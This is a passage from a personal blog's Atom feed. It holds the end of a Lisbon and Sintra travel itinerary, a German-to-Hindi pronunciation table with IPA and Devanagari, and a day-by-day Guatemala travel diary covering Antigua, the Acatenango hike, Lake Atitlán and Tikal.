cityscapes.</blockquote><p>Lisbon has a quintessential old European city charm to it.
Compared to 
<a href="/travel/madrid-spain/">Madrid</a>, it is more rundown though.</p>
<h3 id="day-1---baixa-chiado-area">Day 1 - Baixa-Chiado area</h3>
<p>Check out the main square (Baixa-Chiado), see the   
    
    
<a href="https://en.wikipedia.org/wiki/Livraria_Bertrand?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">oldest running bookstore</a>, and learn the history of the various parts by doing a   
    
    
<a href="https://www.guruwalk.com/?ref=fhw89zcvw6x4aaabyp5a&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a>.</p>
<figure>
    
    <a href="Downtown-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Downtown-1-768x1024.jpg"
         alt="A tall downtown building with a modern glass facade stands prominently in the cityscape, reflecting adjacent structures and a clear blue sky, indicating a busy urban environment." width="900"/> </a>
</figure>

<figure>
    
    <a href="Downtown-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Downtown-2-768x1024.jpg"
         alt="A cityscape with high-rise buildings reflecting adjacent structures, under a clear blue sky, indicating a busy urban environment." width="900"/> </a>
</figure>

<figure>
    
    <a href="Downtown-3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Downtown-3-1024x768.jpg"
         alt="View of a downtown area with tall buildings, a busy urban landscape, and clear blue skies" width="905"/> </a>
</figure>

<figure>
    
    <a href="Downtown-4-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Downtown-4-768x1024.jpg"
         alt="A large urban area with several buildings" width="900"/> </a>
</figure>

<figure>
    
    <a href="Downtown-5-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Downtown-5-768x1024.jpg"
         alt="An old illustration depicts Lisbon in ruins after the 1755 earthquake, with damaged buildings and debris scattered across the cityscape." width="900"/> </a>
</figure>

<p>A big earthquake came in 1755 in Lisbon.
Apart from the red-light district, most of the city was destroyed and that made people start questioning God.
One Church, Convento De Carmo, has some last ruins to indicate the impact of the earthquake.</p>
<figure>
    
    <a href="carmo-convent-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="carmo-convent-768x1024.jpg"
         alt="The ruins of Convento De Carmo, highlighting the impact of an earthquake, situated in a historical area with remnants of architectural structures." width="900"/> </a>
</figure>

<h3 id="day-2---alfama-district">Day 2 - Alfama district</h3>
<p>Alfama district consists of narrow streets and small houses.
It was built during the Muslim Moor rule in the 7th century and the overall architecture
hasn&rsquo;t changed much since then. Without a walking tour, it is easy to miss subtle gems here.</p>
<figure>
    
    <a href="Tram-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Tram-1024x768.jpg"
         alt="A vintage tram navigates a narrow street, evoking historical charm in a quaint old town setting" width="905"/> </a>
</figure>

<figure>
    
    <a href="alfama-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="alfama-1-1024x768.jpg"
         alt="A tram in a city setting with surrounding urban landscape in Bélem" width="905"/> </a>
</figure>

<figure>
    
    <a href="alfama-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="alfama-2-768x1024.jpg"
         alt="A scenic view of the Bélem district in Lisbon, capturing architectural landmarks surrounded by a picturesque urban landscape." width="900"/> </a>
</figure>

<h3 id="day-3---bélem-district">Day 3 - Bélem district</h3>
<p>The most majestic and picturesque district of Lisbon. Its name derives from Bethlehem.
At one time, when 
<a href="/travel/rome-italy/">Pope</a> use to grant recognition to countries,
Portugal&rsquo;s king built a lot of churches, in the hope of getting recognition from the Pope.</p>
<figure>
    
    <a href="Belem-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Belem-1-1024x768.jpg"
         alt="A Gothic-style church with intricate detailing stands prominently, showcasing architectural grandeur" width="905"/> </a>
</figure>

<figure>
    
    <a href="Belem-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Belem-2-1024x768.jpg"
         alt="A scenic train journey to Sintra is highlighted, with a picturesque view of trains that operate nearly 24 hours, providing transportation for travelers." width="905"/> </a>
</figure>

<h3 id="day-4---sintra">Day 4 - Sintra</h3>
<p>Take a train journey to Sintra.
The trains run for almost 24 hours from the   
    
    
<a href="https://goo.gl/maps/v6V6bUay3XtBWGvy7?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rossio station</a>.
The round trip ticket costs ~4.5 Euro. Sintra, higher up in the mountains, is both majestic and classy.
The castles are worth checking out there.
I would highly recommend checking out   
    
    
<a href="https://www.regaleira.pt/en?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Quinta Da Regalerira castle</a> first,
then the colorful Pena castle. And if you still have time and interest left, go to Montserrat castle.</p>
<p>Quinta Da Regalerira is accessible by walking from the main town. The entrance ticket cost 10 Euro.</p>
<p><img alt="Quinta Da Regalerira" loading="lazy" src="/travel/lisbon-portugal/Quinta-da-Regaleira-2-1024x768.jpg"></p>
<p>Quinta Da Regalerira</p>
<figure>
    
    <a href="Quinta-da-Regaleira-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Quinta-da-Regaleira-1-1024x768.jpg"
         alt="Quinta Da Regaleira landscape with lush greenery and intricate architecture. There is a mention of transportation costs: Tuktuk for 5 Euro, another option is a bus." width="905"/> </a>
</figure>

<p>For Pena castle, which is high up in the mountain, I took a 5 Euro Tuktuk.
You can take a bus for ~3 Euro as well. The entrance ticket costs 14 euros.
If you are budget-constrained then buy a 7.5 Euro external ticket.
There isn&rsquo;t a lot to see inside anyway. Once you come out, do a walk around in the park,
it is a nice hike worthy in itself.</p>
<figure>
    
    <a href="Pena-castle-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Pena-castle-3-768x1024.jpg"
         alt="View of Pena Palace, a vibrant multicolored castle with ornate architecture situated on a hilltop surrounded by lush greenery, under a clear blue sky." width="900"/> </a>
</figure>

<figure>
    
    <a href="Pena-castle-5-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Pena-castle-5-1024x768.jpg"
         alt="Pena Palace in Sintra, Portugal, is a colorful, historic castle on a hilltop surrounded by lush greenery, showcasing 19th-century Romantic architecture and intricate details" width="905"/> </a>
</figure>

<figure>
    
    <a href="Pena-castle-4-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Pena-castle-4-1024x768.jpg"
         alt="A colorful, historic castle stands majestically on a hill surrounded by lush greenery, showcasing vibrant architectural styles and attracting tourists." width="905"/> </a>
</figure>

<figure>
    
    <a href="Pena-castle-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Pena-castle-2-1024x768.jpg"
         alt="Pena Palace in Sintra stands majestically on a hilltop, showcasing vibrant colors and Romantic architectural style amidst lush green surroundings." width="905"/> </a>
</figure>

<figure>
    
    <a href="Sintra-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Sintra-1-1024x768.jpg"
         alt="Pena Palace, a colorful and ornate architectural structure, sits atop a lush, forested hill, showcasing a blend of Romanticist style with sweeping views of surrounding landscapes." width="905"/> </a>
</figure>

<p>Note:</p>
<ol>
<li>The 
<a href="/travel/public-transport-guide/">public transport</a> is great and cheap (6€/24-hours for unlimited trips).</li>
<li>Food choices are ample, especially, for vegetarians.</li>
<li>There are rundown buildings and urban blight even in the touristy parts of the city. The only city, that I have seen with more blight in 
<a href="/travel/detroit/">Detroit</a>.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/portugal" term="portugal" label="portugal"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">German Pronunciations for Hindi speakers</title><link href="https://ashishb.net/linguistics/german-pronunciations-for-hindi-speakers/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/one-name-five-pronunciations/?utm_source=atom_feed" rel="related" type="text/html" title='The five different ways to pronounce the name "Chavez"'/><link href="https://ashishb.net/linguistics/duolingo-is-not-useful/?utm_source=atom_feed" rel="related" type="text/html" title="Duolingo is a waste of Time"/><link href="https://ashishb.net/linguistics/written-script/?utm_source=atom_feed" rel="related" type="text/html" title="Writing Script matters as much as the spoken language"/><link href="https://ashishb.net/linguistics/avagraha-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Mac shortcut for typing Avagraha symbol"/><link href="https://ashishb.net/linguistics/sound-of-ch/?utm_source=atom_feed" rel="related" type="text/html" title='The sound of "ch"'/><id>https://ashishb.net/linguistics/german-pronunciations-for-hindi-speakers/</id><author><name>Ashish Bhatia</name></author><published>2022-10-22T04:00:19+00:00</published><updated>2022-10-22T04:00:19+00:00</updated><content type="html"><![CDATA[<blockquote>Master German phonetics with ease! Uncover nuanced sounds, perfect your pronunciation, and bridge the gap between German and Hindi. Dive in now!</blockquote><p>The phonetics of German are relatively easy for more Hindi speakers except for a few sounds that are more nuanced.</p>
<table>
  <thead>
      <tr>
          <th>Letter</th>
          <th>IPA Pronunciation</th>
          <th>Devanagari</th>
          <th>Notes</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>a</code> (on its own)</td>
          <td><code>/ə/</code></td>
          <td><code>अ</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>a</code> (after consonant)</td>
          <td><code>/æ/</code></td>
          <td><code>आ</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>ä</code></td>
          <td><code>/ɛ/</code></td>
          <td><code>ऐ</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>tsch</code></td>
          <td><code>/tʃ/</code></td>
          <td><code>च</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>sch</code> (not preceded by <code>t</code> )</td>
          <td><code>/ʃ/</code></td>
          <td><code>श</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>ch</code> (after i, e, ö)</td>
          <td><code>/ç/</code></td>
          <td><code>ह</code></td>
          <td>This sound is non-existent in Hindi. Approximate it to /h/ while touching the back of your tongue to the upper palette.</td>
      </tr>
      <tr>
          <td><code>ch</code> (other cases)</td>
          <td><code>/x/</code></td>
          <td><code>ख़</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>d</code> (end of word)</td>
          <td><code>/t/</code></td>
          <td><code>त</code></td>
          <td>For example, kind (child) is pronounced <code>किंत</code></td>
      </tr>
      <tr>
          <td><code>d</code> (elsewhere)</td>
          <td><code>/d/</code></td>
          <td><code>द</code></td>
          <td>For example, kinder (children) is pronounced <code>किंदर</code></td>
      </tr>
      <tr>
          <td><code>eu</code></td>
          <td><code>/ɔɪ/</code></td>
          <td><code>ओ ॅ ए</code></td>
          <td>This sound is not native to Hindi. It is halfway between <code>ओए</code> and <code>औए</code>.</td>
      </tr>
      <tr>
          <td><code>ei</code></td>
          <td><code>/aɪ/</code></td>
          <td><code>आइ</code></td>
          <td>This is a diphthong.</td>
      </tr>
      <tr>
          <td><code>e</code> (first vowel)</td>
          <td><code>/iː/</code></td>
          <td><code>ई</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>e</code> (middle)</td>
          <td><code>/ɛ/</code></td>
          <td><code>ऍ</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>e</code> (end)</td>
          <td><code>/ə/</code></td>
          <td><code>अ</code></td>
          <td>Schwa sound</td>
      </tr>
      <tr>
          <td><code>ie</code></td>
          <td><code>/iː/</code></td>
          <td><code>ई</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>h</code></td>
          <td><code>/h/</code></td>
          <td><code>ह</code></td>
          <td>Acts as a sound extender like the Sanskrit avagraha <code>ऽ</code> after vowels. Otherwise same as English <code>h</code> (<code>ह</code>)</td>
      </tr>
      <tr>
          <td><code>j</code></td>
          <td><code>/j/</code></td>
          <td><code>य</code></td>
          <td>Pronunced like English <code>y</code>.</td>
      </tr>
      <tr>
          <td><code>g</code> (end of word)</td>
          <td><code>/k/</code></td>
          <td><code>क</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>g</code> (elsewhere)</td>
          <td><code>/g/</code></td>
          <td><code>ग</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>ng</code></td>
          <td><code>/ŋ/</code></td>
          <td><code>ङ</code></td>
          <td>Pronounced like English <code>ng</code></td>
      </tr>
      <tr>
          <td><code>r</code> (after vowel)</td>
          <td><code>/ʔ/</code></td>
          <td><code>ऽ</code></td>
          <td>Extends the previous sound.</td>
      </tr>
      <tr>
          <td><code>r</code> (elsewhere)</td>
          <td><code>/ɻ/</code></td>
          <td><code>ऋ</code></td>
          <td>English Retroflex <code>r</code>. Or Sanskrit <code>ऋ</code>.</td>
      </tr>
      <tr>
          <td><code>s</code> (before vowel)</td>
          <td><code>/z/</code></td>
          <td><code>ज़</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>s</code> (before consonant)</td>
          <td><code>/ʃ/</code></td>
          <td><code>श</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>s</code> (end of word)</td>
          <td><code>/s/</code></td>
          <td><code>स</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>t</code></td>
          <td><code>/t/</code></td>
          <td><code>त</code></td>
          <td>Like Spanish.</td>
      </tr>
      <tr>
          <td><code>o</code></td>
          <td><code>/ɔ/</code></td>
          <td><code>ऑ</code></td>
          <td>This sound is halfway between <code>मोडल</code> and <code>मौडल</code>.</td>
      </tr>
      <tr>
          <td><code>ö</code></td>
          <td><code>/ɜː/</code></td>
          <td><code>ऍ</code></td>
          <td>Pronunced like <code>i</code> in <code>bird</code>. This sound is non-existent in pure Hindi. The <code>ऍ</code> is used to denote it these days.</td>
      </tr>
      <tr>
          <td><code>u</code></td>
          <td><code>/uː/</code></td>
          <td><code>ऊ</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>ü</code></td>
          <td><code>/yː/</code></td>
          <td><code>ऊ</code> (throaty)</td>
          <td>Pronounced more in the throat.</td>
      </tr>
      <tr>
          <td><code>v</code></td>
          <td><code>/f/</code></td>
          <td><code>फ़</code></td>
          <td>And that&rsquo;s why Volkswagen is pronounced <code>फ़ोल्क्सवागन</code>.  While such consonant clusters might be rare in English, they are common in German. German has <code>f</code> as well, and that&rsquo;s pronounced like English <code>f</code> too! For English loan words, <code>v</code> is pronounced as <code>/v/</code>.</td>
      </tr>
      <tr>
          <td><code>w</code></td>
          <td><code>/v/</code></td>
          <td><code>व़</code></td>
          <td>Like English <code>/v/</code></td>
      </tr>
      <tr>
          <td><code>y</code> (beginning or end)</td>
          <td><code>/j/</code></td>
          <td><code>य</code></td>
          <td></td>
      </tr>
      <tr>
          <td><code>y</code> (middle)</td>
          <td><code>/yː/</code></td>
          <td><code>ऊ</code> (throaty)</td>
          <td>In the middle, it is pronounced same as <code>ü</code>.</td>
      </tr>
      <tr>
          <td><code>z</code></td>
          <td><code>/ts/</code></td>
          <td><code>त्स</code></td>
          <td>For example, Nazi is pronounced नात्सी</td>
      </tr>
      <tr>
          <td><code>ß</code></td>
          <td><code>/sː/</code></td>
          <td><code>सऽ</code></td>
          <td>Long s sound. This is the only non-Latin alphabet in German.</td>
      </tr>
  </tbody>
</table>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">Guatemala in 8 days</title><link href="https://ashishb.net/travel/guatemala/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/panama/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Panama"/><link href="https://ashishb.net/travel/mexico/guadalajara/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Guadalajara, Mexico"/><link href="https://ashishb.net/travel/el-calafate-patagonia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="A day in El Calafate - Patagonia, Argentina"/><id>https://ashishb.net/travel/guatemala/</id><author><name>Ashish Bhatia</name></author><published>2022-10-08T16:00:27+00:00</published><updated>2022-10-08T16:00:27+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Guatemala&rsquo;s splendor—Antigua&rsquo;s cobblestone charm, the thrilling Acatenango hike, serene Lake Atitlán views, and Tikal&rsquo;s majestic ruins!</blockquote><p>Guatemala is a hidden gem in Central America.
Just like its English-speaking neighbor 
<a href="/travel/belize/">Belize</a>, it is a picturesque country worth visiting.</p>
<h3 id="day-1---ride-to-antigua">Day 1 - Ride to Antigua</h3>
<p>After landing at the Guatemala International Airport, I took a taxi to Antigua. It&rsquo;s only an hour away and is much safer than the capital city, Guatemala City. Antigua is a UNESCO world heritage site. It has cobblestone roads and is surrounded by volcanoes. It is a backpacker&rsquo;s paradise.</p>
<figure>
    
    <a href="antigua-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="antigua-1-1024x768.jpg"
         alt="A cobblestone street in a picturesque location surrounded by volcanoes in Antigua." width="900"/> </a>
</figure>

<h3 id="day-2---antigua">Day 2 - Antigua</h3>
<p>I spent the day checking out the various touristy places in Antigua. The central town square is gorgeous. The local market has lots of good high-quality hand-made stuff. The town is gorgeous and photogenic. It is probably the best city in Guatemala for walking around.</p>
<figure>
    
    <a href="antigua-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="antigua-2-1024x768.jpg"
         alt="A photogenic town in Guatemala is depicted, with people walking around its charming streets, showcasing colorful buildings and picturesque surroundings." width="905"/> </a>
</figure>

<p>The ruins of Santa Clara and Cappuccino Convent (~40 Qz each) are mediocre.</p>
<figure>
    
    <a href="antigua-cappuchino_convent-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="antigua-cappuchino_convent-768x1024.jpg"
         alt="The ruins of Santa Clara and Cappuccino Convent in Antigua" width="900"/> </a>
</figure>

<p>I would recommend they do a 15-20 mins uphill hike to Cerro de La Cruz or Hill of the Cross to get a nice view of Guatemala. I, later, booked a tour in the evening for a hike to Acatenango for 300 Qz. It is next to the active Pacaya volcano. Since 2019, hiking Pacaya volcano, being unsafe, is banned. The Acatenango hike is not allowed solo, and it is a terrible idea in any case as the hiking trails are not well-marked.</p>
<figure>
    
    <a href="antigua-Colegia_de_la_compania_de_Jesus-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="antigua-Colegia_de_la_compania_de_Jesus-1024x768.jpg"
         alt="Colegia De La Compania Antigua" width="905"/> </a>
</figure>

<h3 id="day-3---acatenango-hike">Day 3 - Acatenango Hike</h3>
<p>The guide picked me up at about 8 AM, we stopped in San Jose Calderas at about 9 AM to pick up some gear, a jacket, cap, gloves, and food (one meal, one fruit, and one cereal box). My backpack was small, so, they offered me a small day pack for me to carry food as well. Do take the hiking stick (5 Qz), your knees would thank you.</p>
<p>We reached the hiking start point at about 9:40 AM. The hike starts at ~2500m and you climb another 1500m. The initial phase is most crucial. So, if you can survive that, you will enjoy the rest. By about 2 PM, the brutal phase of the hike was over. We reached the base camp by about 3 PM. We stayed at a base camp for rest of the day, it was about 100m below the top. Once the sun sets, one can see a great view of both the active volcanoes, Fuego (meaning fire) as well as Pacaya volcano (named after the edible flower Pacaya).</p>
<figure>
    
    <a href="acatenango-hike-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="acatenango-hike-1-768x1024.jpg"
         alt="A person hikes near Guatemala&#39;s Acatenango Volcano, with views of Fuego and Pacaya volcanoes in the background, illustrating a rugged volcanic landscape." width="900"/> </a>
</figure>

<figure>
    
    <a href="acatenango-hike-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="acatenango-hike-2-1024x768.jpg"
         alt="A person hikes on a trail with a backpack, surrounded by lush greenery and mountainous terrain, near Acatenango" width="905"/> </a>
</figure>

<figure>
    
    <a href="acatenango-hike-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="acatenango-hike-3-768x1024.jpg"
         alt="A mountainous landscape features steep slopes with sparse vegetation, showcasing a view of a distant volcanic peak under a clear sky" width="900"/> </a>
</figure>

<figure>
    
    <a href="acatenango-view-of-fuego-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="acatenango-view-of-fuego-1-768x1024.jpg"
         alt="A volcanic landscape with rugged terrain and minimal vegetation, featuring a distant view of Fuego Volcano emitting smoke against a clear sky." width="900"/> </a>
</figure>

<figure>
    
    <a href="acatenango-view-of-fuego-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="acatenango-view-of-fuego-2-768x1024.jpg"
         alt="A volcanic landscape features voluminous clouds of ash rising dramatically from a crater, showcasing a powerful eruption in high contrast with the surrounding natural scenery." width="900"/> </a>
</figure>

<figure>
    
    <a href="acatenano-hike-view-of-pacaya-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="acatenano-hike-view-of-pacaya-1-768x1024.jpg"
         alt="A scenic view of two volcanic landscapes from Acatenango" width="900"/> </a>
</figure>

<h3 id="day-4---acatenango-hike-and-lake-atitlán">Day 4 - Acatenango Hike and Lake Atitlán</h3>
<p>We woke up at 4:30 AM and started hiking at 5 AM. We reached the top at about 6:15 AM. From the top, you can not only see Fuego but even as far as Lake and Volcano/Vulcan Atitlán as well.</p>
<figure>
    
    <a href="acatenango-summit-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="acatenango-summit-1024x768.jpg"
         alt="A scenic view from Acatenango summit includes Fuego volcano and Lake Atitlán, showcasing a vast, mountainous landscape." width="905"/> </a>
</figure>

<figure>
    
    <a href="acatenango-hike-view-of-atitlan-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="acatenango-hike-view-of-atitlan-1024x768.jpg"
         alt="A scenic view from the summit of Acatenango volcano, showing a vast landscape with a view of another distant volcano, highlighting the vibrant sky and natural surroundings." width="905"/> </a>
</figure>

<p>Returning to the base camp only took 30 minutes and we were back by 7:15 AM. We started hiking down at about 9 AM and returned to the bottom by about 11 AM. And then we returned to Antigua.</p>
<p>In the afternoon, I came across a great vegetarian restaurant,   
    
    
<a href="https://www.happycow.net/reviews/samsara-antigua-50241?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Samsara</a>, I would highly recommend it for meals. In the evening, I took a ~3-hour shuttle ride for 125 Qz to Panajachel (पाना-हाचेल), the city on the shore of gorgeous Lake Atitlán(अतित्ला&rsquo;न) or Lago de Atitlán in Spanish.</p>
<h3 id="day-5---going-around-lake-atitlán">Day 5 - Going around Lake Atitlán</h3>
<p>I wanted to visit towns around Lake Atitlán via public ferries, or lanchas in Spanish. Unless you have a lot of time at hand, don&rsquo;t count on taking the public ferries. I waited for a while and realized that private transport is the only option I have. I booked it for 375 Qz for visiting three different towns. The towns do start to feel repetitive, so, three should suffice for you as well.</p>
<figure>
    
    <a href="lake-atitlan-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="lake-atitlan-1-1024x768.jpg"
         alt="A serene lake view with mountains in the background, capturing the natural beauty of Lake Atitlan. The reflection of the landscape is visible on the lake&#39;s surface." width="905"/> </a>
</figure>

<figure>
    
    <a href="lake-atitlan-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="lake-atitlan-2-1024x768.jpg"
         alt="A serene landscape showcasing Lake Atitlán with mountainous terrain in the background, under a clear sky, emphasizing a tranquil, natural setting." width="905"/> </a>
</figure>

<p>I started a bit late in the day too by about 11 AM. I would recommend starting earlier. The first island that I visited was San Juan La Laguna. It was about 30 minutes away. Here&rsquo;s my recommendation, as soon as you reach the island, take a Tuk-tuk to the viewpoint for ~20 Qz, that is, mirador and when returning ask the Tuk-tuk to drop you in the center of the town. From here, you can easily walk downhill towards your boat. Elsewise, you will tire yourself walking uphill. I spent an hour on this island.</p>
<figure>
    
    <a href="Lago-de-san-juan-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Lago-de-san-juan-1024x768.jpg"
         alt="A serene lake view with a small boat near the shore, surrounded by lush green hills and a partly cloudy sky, contributing to a tranquil atmosphere." width="905"/> </a>
</figure>

<p>The second island, that I visited, was San Pedro La Laguna. It is only 5 minutes from the first one. This time, I did a 40 Qz Tuk-tuk to take me to Mirador. And while returning, I stopped at the Central Church. I spent an hour here as well. If you stay overnight here, you can go and hike San Pedro Volcano.</p>
<figure>
    
    <a href="view-from-san-pedro-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="view-from-san-pedro-1024x768.jpg"
         alt="A scenic view of San Pedro Volcano surrounded by lush greenery with a lake in the foreground" width="905"/> </a>
</figure>

<figure>
    
    <a href="san-pedro-volcano-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="san-pedro-volcano-1024x768.jpg"
         alt="A volcano near a large body of water, labeled &#39;Volcano,&#39; with landscape surrounding it and minimal vegetation visible. There is no additional context provided." width="905"/> </a>
</figure>

<p>The third island, that I visited, was Santiago Atitlán. It is about 20-mins away by boat. This is the only town to have its own Mayan culture-era Shaman/Pueblo. The pueblo or grandfather stays in one of the 13 houses and goes to a new house every year. The local religion is called Syncretism, as it is a mix of Christianity and the Mayan religion. On this island, I took a guide who charged me 40 Qz and gave me a 30-40 minute average tour of the island including taking me to the local Pueblo&rsquo;s house. This island felt interesting enough that I ended up spending about 2 hours here.</p>
<h3 id="day-6---bus-to-guatemala-city-and-then-to-flores">Day 6 - Bus to Guatemala City and then to Flores</h3>
<p>I took the early morning 5 AM for the 190 Qz shuttle to Guatemala City. I spent the rest of the day in the city and take an overnight 
<a href="/travel/public-transport-guide/">bus</a> to Flores for 200Qz. I also booked a day tour of Tikal for the next day for 170 Qz.</p>
<figure>
    
    <a href="guatemala-city-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="guatemala-city-1-1024x768.jpg"
         alt="A travel itinerary detailing an overnight bus to Flores costing 200 Qz and a day tour of Tikal for 170 Qz." width="905"/> </a>
</figure>

<figure>
    
    <a href="guatemala-city-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="guatemala-city-2-768x1024.jpg"
         alt="A nighttime bus journey with comfortable, sleep-friendly seats and an onboard bathroom, starting at 10 PM." width="900"/> </a>
</figure>

<p>The bus journey started at 10 PM. The seats were comfortable to sleep in. And there was a bathroom too. Unfortunately, there was no Wi-Fi or even a USB charger on the bus. The bus arrived at about 5 AM in Flores, the city on the mainland. Most tourists, however, go to the island of Petén. You can either take a taxi or walk a mile to the island.</p>
<h3 id="day-7---tikal">Day 7 - Tikal</h3>
<p>The ruins of Tikal are majestic and grandiose. They are much bigger and spread out than the Mayan ruins in 
<a href="/travel/belize/">Belize</a> and Teotihuacan in 
<a href="/travel/mexico/mexico-city-and-valle-de-bravo/">Mexico</a>.</p>
<p>It takes about one and a half hours to reach the ruins of Petén.</p>
<p>Temple one and two face each other. The forest canopy around them is cleared. They are about 48m. And via a metallic staircase from behind, you can climb to the top of the second one to get a good photo. From temple 4, which stands tallest at 64m, you can see an even better view of the canopy. The guide was good but after a while, all these Mayan places start to resemble one other.</p>
<figure>
    
    <a href="tikal-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tikal-1-768x1024.jpg"
         alt="Tikal is a large stone pyramid structure surrounded by lush green trees, a Mayan archaeological site" width="900"/> </a>
</figure>

<figure>
    
    <a href="tikal-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tikal-2-768x1024.jpg"
         alt="Mayan city of Tikal, featuring towering stone pyramids and dense jungle surroundings" width="900"/> </a>
</figure>

<figure>
    
    <a href="tikal-3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tikal-3-1024x768.jpg"
         alt="Mayan city of Tikal, featuring towering stone pyramids and dense jungle surroundings" width="905"/> </a>
</figure>

<figure>
    
    <a href="tikal-4-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tikal-4-768x1024.jpg"
         alt="View of Tikal ruins in a lush, green jungle setting, with ancient stone structures partially obscured by trees, illustrating historical architecture amidst vibrant nature." width="900"/> </a>
</figure>

<p>We reached back Petén at about 12:30. I took a public Colectivo boat across the lake to get to San Miguel. Then I hiked to the viewpoint ( <em>Mirador</em>). Don&rsquo;t take a special boat for Mirador. I don&rsquo;t think it is worth it as the vertical distance will be the same from the mainland as well.</p>
<figure>
    
    <a href="Flores-from-mirador-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Flores-from-mirador-1024x768.jpg"
         alt="Distant hills and a body of water under a clear blue sky with lush green vegetation in the foreground" width="905"/> </a>
</figure>

<p>While returning from Mirador, go northeast, and you will end up at the Chechenal beach, or in Spanish, <em>Playa Chechenal</em>.</p>
<p>In the hindsight, I should have booked a combined tour of Tikal and Yaxhá as the Tikal tour was finished by noon. But even otherwise, Petén was worth spending half the day in.</p>
